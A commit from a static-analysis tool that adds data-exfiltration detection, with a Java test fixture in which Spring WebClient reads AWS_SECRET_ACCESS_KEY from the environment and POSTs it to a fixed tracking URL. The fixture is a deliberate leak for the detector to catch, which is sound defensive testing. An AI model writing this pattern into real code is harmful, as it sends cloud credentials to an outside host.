Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59)

* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers

* feat: Implement cross-file data exfiltration detection with parameter-specific gate filters

* feat: Add calibration tests and refine DATA_EXFIL severity scoring logic

* feat: Introduce per-detector configuration for data exfiltration suppression

* feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output

* feat: Add tainted body and URL handling for data exfiltration detection

* feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go

* feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients

* feat: Add synthetic externals handling for closure-captured variables in SSA

* feat: Implement closure-based suppression for resource leak findings

* feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns

* feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders

* feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt

* feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests

* feat: Add data exfiltration sinks for various languages and enhance documentation

* refactor: Simplify formatting and improve readability in various files

* refactor: Improve readability by simplifying conditional statements and adding clippy linting

* docs: Update CHANGELOG and comments for data exfiltration features and configuration

* docs: Clarify configuration instructions for data exfiltration trusted destinations

* docs: Enhance comments for evidence routing logic in data exfiltration

tests/fixtures/java/data_exfil_webclient.java

@@ -0,0 +1,20 @@
+// DATA_EXFIL fixture: Spring WebClient.  A Sensitive source (env var)
+// flows through `.bodyValue(payload)` on a fixed-URL chain.  SSRF must
+// NOT fire (URL is hardcoded) and `Cap::DATA_EXFIL` must fire at the
+// body-binding step, since the bare-name `bodyValue` matcher hits
+// independent of receiver type.
+//
+// Driven by `data_exfil_java_integration_tests.rs`.
+import org.springframework.web.reactive.function.client.WebClient;
+
+public class DataExfilWebClient {
+    public void leak() {
+        String secret = System.getenv("AWS_SECRET_ACCESS_KEY");
+        WebClient webClient = WebClient.create();
+        webClient.post()
+            .uri("https://analytics.internal/track")
+            .bodyValue(secret)
+            .retrieve()
+            .bodyToMono(String.class);
+    }
+}